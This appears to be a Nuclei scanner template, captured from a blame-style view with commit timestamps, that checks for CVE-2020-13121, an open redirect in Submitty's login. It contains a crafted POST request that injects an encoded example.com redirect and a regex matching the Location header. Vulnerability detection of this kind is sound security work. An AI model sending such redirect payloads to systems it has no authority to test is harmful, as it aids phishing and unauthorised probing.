2022-02-08 01:59:02 +00:00
|
|
|
id: CVE-2020-13121
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Submitty 20.04.01 - Open redirect
|
|
|
|
author: 0x_Akoko
|
|
|
|
severity: medium
|
|
|
|
description: Submitty through 20.04.01 has an open redirect via authentication/login?old= during an invalid login attempt.
|
|
|
|
reference:
|
|
|
|
- https://github.com/Submitty/Submitty/issues/5265
|
|
|
|
- https://www.cvedetails.com/cve/CVE-2020-13121
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.10
|
|
|
|
cve-id: CVE-2020-13121
|
|
|
|
cwe-id: CWE-601
|
2022-02-08 18:05:08 +00:00
|
|
|
tags: cve,cve2020,redirect,submitty,oos
|
2022-02-08 01:59:02 +00:00
|
|
|
|
|
|
|
requests:
|
2022-11-09 06:35:02 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Origin: {{RootURL}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
Referer: {{RootURL}}/authentication/login
|
2022-02-08 01:59:02 +00:00
|
|
|
|
2022-11-09 06:35:02 +00:00
|
|
|
user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login
|
|
|
|
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
2022-02-08 01:59:02 +00:00
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$'
|
|
|
|
part: header
|